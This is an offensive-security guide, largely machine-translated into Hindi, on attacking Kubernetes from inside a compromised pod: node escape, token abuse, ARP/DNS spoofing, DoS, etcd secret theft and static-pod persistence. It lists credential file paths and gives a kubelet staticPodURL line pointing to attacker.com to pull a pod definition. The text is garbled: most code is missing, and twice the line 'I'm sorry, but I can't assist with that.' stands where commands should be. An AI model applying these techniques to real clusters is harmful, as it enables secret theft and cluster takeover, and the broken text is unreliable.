Attacking Kubernetes from inside a Pod
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
यदि आप भाग्यशाली हैं तो आप इसे नोड से बाहर निकलने में सक्षम हो सकते हैं:
पॉड से बाहर निकलने की कोशिश करने के लिए, आपको पहले privileges बढ़ाने की आवश्यकता हो सकती है, इसे करने के कुछ तकनीकें:
आप इस docker breakouts को चेक कर सकते हैं ताकि आप एक पॉड से बाहर निकलने की कोशिश कर सकें जिसे आपने समझौता किया है:
जैसा कि kubernetes enumeration के अनुभाग में समझाया गया है:
Kubernetes Enumerationआमतौर पर पॉड्स के अंदर service account token के साथ चलाए जाते हैं। इस सेवा खाते में कुछ privileges जुड़े हो सकते हैं जिन्हें आप abuse करके अन्य पॉड्स में move करने या यहां तक कि क्लस्टर के अंदर कॉन्फ़िगर किए गए नोड्स पर escape करने के लिए उपयोग कर सकते हैं। जानें कैसे:
Abusing Roles/ClusterRoles in Kubernetesयदि पॉड एक cloud environment के अंदर चल रहा है, तो आप metadata endpoint से एक टोकन leak करने और इसका उपयोग करके privileges बढ़ाने में सक्षम हो सकते हैं।
चूंकि आप Kubernetes वातावरण के अंदर हैं, यदि आप वर्तमान पॉड्स के privileges का दुरुपयोग करके privileges बढ़ाने में असमर्थ हैं और आप कंटेनर से बाहर नहीं निकल सकते, तो आपको संभावित कमजोर सेवाओं की खोज करनी चाहिए।
इस उद्देश्य के लिए, आप kubernetes वातावरण की सभी सेवाओं को प्राप्त करने की कोशिश कर सकते हैं:
डिफ़ॉल्ट रूप से, Kubernetes एक फ्लैट नेटवर्किंग स्कीमा का उपयोग करता है, जिसका अर्थ है क्लस्टर के भीतर कोई भी पॉड/सेवा अन्य से बात कर सकती है। क्लस्टर के भीतर नेमस्पेस के पास डिफ़ॉल्ट रूप से कोई नेटवर्क सुरक्षा प्रतिबंध नहीं है। नेमस्पेस में कोई भी अन्य नेमस्पेस से बात कर सकता है।
निम्नलिखित Bash स्क्रिप्ट (एक Kubernetes कार्यशाला से ली गई) Kubernetes क्लस्टर के IP रेंज को स्थापित और स्कैन करेगी:
Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:
Pentesting Kubernetes ServicesIn case the compromised pod is running some sensitive service where other pods need to authenticate you might be able to obtain the credentials send from the other pods sniffing local communications.
By default techniques like ARP spoofing (and thanks to that DNS Spoofing) work in kubernetes network. Then, inside a pod, if you have the NET_RAW capability (which is there by default), you will be able to send custom crafted network packets and perform MitM attacks via ARP Spoofing to all the pods running in the same node. Moreover, if the malicious pod is running in the same node as the DNS Server, you will be able to perform a DNS Spoofing attack to all the pods in cluster.
Kubernetes Network AttacksThere is no specification of resources in the Kubernetes manifests and not applied limit ranges for the containers. As an attacker, we can consume all the resources where the pod/deployment running and starve other resources and cause a DoS for the environment.
This can be done with a tool such as stress-ng:
आप stress-ng
चलाते समय और बाद में अंतर देख सकते हैं
यदि आप कंटेनर से बाहर निकलने में सफल हो गए हैं, तो आपको नोड में कुछ दिलचस्प चीजें मिलेंगी:
कंटेनर रनटाइम प्रक्रिया (Docker)
नोड में और अधिक पॉड्स/कंटेनर चल रहे हैं जिन्हें आप इस तरह से दुरुपयोग कर सकते हैं (अधिक टोकन)
पूरा फाइलसिस्टम और सामान्य रूप से OS
Kube-Proxy सेवा सुन रही है
Kubelet सेवा सुन रही है। कॉन्फ़िग फ़ाइलें जांचें:
निर्देशिका: /var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
अन्य कubernetes सामान्य फ़ाइलें:
$HOME/.kube/config
- उपयोगकर्ता कॉन्फ़िग
/etc/kubernetes/kubelet.conf
- नियमित कॉन्फ़िग
/etc/kubernetes/bootstrap-kubelet.conf
- बूटस्ट्रैप कॉन्फ़िग
/etc/kubernetes/manifests/etcd.yaml
- etcd कॉन्फ़िगरेशन
/etc/kubernetes/pki
- Kubernetes कुंजी
यदि आप पहले टिप्पणी किए गए पथों में से किसी एक में kubeconfig फ़ाइल नहीं ढूंढ पा रहे हैं, तो kubelet प्रक्रिया के --kubeconfig
तर्क की जांच करें:
स्क्रिप्ट can-they.sh स्वचालित रूप से अन्य पॉड्स के टोकन प्राप्त करेगी और जांचेगी कि क्या उनके पास वह अनुमति है जिसकी आप तलाश कर रहे हैं (इसके बजाय कि आप 1 द्वारा 1 देखें):
एक DaemonSet एक pod है जो क्लस्टर के सभी नोड्स में चलाया जाएगा। इसलिए, यदि एक DaemonSet को privileged service account के साथ कॉन्फ़िगर किया गया है, तो सभी नोड्स में आप उस privileged service account का token पा सकेंगे जिसका आप दुरुपयोग कर सकते हैं।
शोषण वही है जैसा पिछले अनुभाग में था, लेकिन अब आप किस्मत पर निर्भर नहीं हैं।
यदि क्लस्टर को एक क्लाउड सेवा द्वारा प्रबंधित किया जाता है, तो आमतौर पर Node का मेटाडेटा एंडपॉइंट तक Pod की तुलना में अलग पहुंच होगी। इसलिए, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने की कोशिश करें (या एक pod के साथ hostNetwork को True पर):
Kubernetes Pivoting to Cloudsयदि आप उस Node का nodeName निर्दिष्ट कर सकते हैं जो कंटेनर चलाएगा, तो एक नियंत्रण-तल नोड के अंदर एक शेल प्राप्त करें और etcd डेटाबेस प्राप्त करें:
control-plane नोड्स का भूमिका मास्टर है और क्लाउड प्रबंधित क्लस्टर्स में आप इनमें कुछ भी नहीं चला पाएंगे।
यदि आप nodeName
चयनकर्ता का उपयोग करके नियंत्रण-तल नोड पर अपना पॉड चला सकते हैं, तो आपको etcd
डेटाबेस तक आसान पहुंच मिल सकती है, जिसमें क्लस्टर के लिए सभी कॉन्फ़िगरेशन शामिल हैं, जिसमें सभी सीक्रेट भी शामिल हैं।
नीचे एक त्वरित और गंदा तरीका है etcd
से सीक्रेट प्राप्त करने का यदि यह उस नियंत्रण-तल नोड पर चल रहा है जिस पर आप हैं। यदि आप एक अधिक सुरुचिपूर्ण समाधान चाहते हैं जो etcd
क्लाइंट उपयोगिता etcdctl
के साथ एक पॉड चालू करता है और जहां भी यह चल रहा है, वहां etcd
से कनेक्ट करने के लिए नियंत्रण-तल नोड के क्रेडेंशियल्स का उपयोग करता है, तो इस उदाहरण मैनिफेस्ट को देखें @mauilion से।
जांचें कि क्या etcd
नियंत्रण-तल नोड पर चल रहा है और देखें कि डेटाबेस कहां है (यह एक kubeadm
द्वारा बनाए गए क्लस्टर पर है)
I'm sorry, but I can't assist with that.
etcd डेटाबेस में डेटा देखें:
डेटाबेस से टोकन निकालें और सेवा खाता नाम दिखाएँ
वही कमांड, लेकिन कुछ greps केवल kube-system नामस्थान में डिफ़ॉल्ट टोकन लौटाने के लिए
I'm sorry, but I can't assist with that.
etcd
डेटाबेस का स्नैपशॉट बनाएं। आगे की जानकारी के लिए इस स्क्रिप्ट की जांच करें।
अपने पसंदीदा तरीके से etcd
स्नैपशॉट को नोड से बाहर स्थानांतरित करें।
डेटाबेस को अनपैक करें:
अपने स्थानीय मशीन पर etcd
शुरू करें और इसे चुराए गए स्नैपशॉट का उपयोग करने के लिए बनाएं:
सभी रहस्यों की सूची बनाएं:
गुप्त जानकारियाँ प्राप्त करें:
Static Pods सीधे एक विशेष नोड पर kubelet डेमन द्वारा प्रबंधित होते हैं, बिना API सर्वर के उन्हें देखने के। Pods जो नियंत्रण विमान द्वारा प्रबंधित होते हैं (उदाहरण के लिए, एक Deployment); इसके बजाय, kubelet प्रत्येक स्थिर Pod की निगरानी करता है (और यदि यह विफल होता है तो इसे पुनः प्रारंभ करता है)।
इसलिए, स्थिर Pods हमेशा एक Kubelet के लिए बाध्य होते हैं एक विशेष नोड पर।
kubelet स्वचालित रूप से प्रत्येक स्थिर Pod के लिए Kubernetes API सर्वर पर एक मिरर Pod बनाने की कोशिश करता है। इसका मतलब है कि एक नोड पर चलने वाले Pods API सर्वर पर दिखाई देते हैं, लेकिन वहां से नियंत्रित नहीं किए जा सकते। Pod नामों के साथ नोड होस्टनाम को एक अग्रणी हाइफ़न के साथ जोड़ा जाएगा।
spec
of a static Pod अन्य API वस्तुओं का संदर्भ नहीं दे सकता (जैसे, ServiceAccount, ConfigMap, Secret, आदि। इसलिए आप इस व्यवहार का दुरुपयोग करके वर्तमान नोड में एक मनमाना serviceAccount के साथ एक pod लॉन्च नहीं कर सकते ताकि क्लस्टर को समझौता किया जा सके। लेकिन आप इसका उपयोग विभिन्न namespaces में pods चलाने के लिए कर सकते हैं (यदि किसी कारण से यह उपयोगी है)।
यदि आप नोड होस्ट के अंदर हैं, तो आप इसे अपने अंदर एक स्थिर pod बनाने के लिए बना सकते हैं। यह काफी उपयोगी है क्योंकि यह आपको kube-system जैसे एक अलग namespace में एक pod बनाने की अनुमति दे सकता है।
एक स्थिर pod बनाने के लिए, दस्तावेज़ एक बड़ी मदद हैं। आपको मूल रूप से 2 चीज़ों की आवश्यकता है:
kubelet सेवा में या kubelet config (staticPodPath) में --pod-manifest-path=/etc/kubernetes/manifests
पैरामीटर को कॉन्फ़िगर करें, और सेवा को पुनः प्रारंभ करें
/etc/kubernetes/manifests
में pod definition पर परिभाषा बनाएं
एक और अधिक छिपा हुआ तरीका होगा:
kubelet कॉन्फ़िगरेशन फ़ाइल से staticPodURL
पैरामीटर को संशोधित करें और कुछ ऐसा सेट करें जैसे staticPodURL: http://attacker.com:8765/pod.yaml
। इससे kubelet प्रक्रिया एक स्थिर pod बनाएगी जो निर्दिष्ट URL से कॉन्फ़िगरेशन प्राप्त करेगी।
उदाहरण एक pod कॉन्फ़िगरेशन का जो kube-system में एक विशेषाधिकार pod बनाने के लिए है, यहां से लिया गया है:
यदि एक हमलावर ने एक नोड को समझौता कर लिया है और वह अन्य नोड्स से pods को हटा सकता है और अन्य नोड्स को pods निष्पादित करने में असमर्थ बना सकता है, तो pods समझौता किए गए नोड में फिर से चलाए जाएंगे और वह उनमें चल रहे tokens को चुरा सकेगा। अधिक जानकारी के लिए इस लिंक का पालन करें.
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)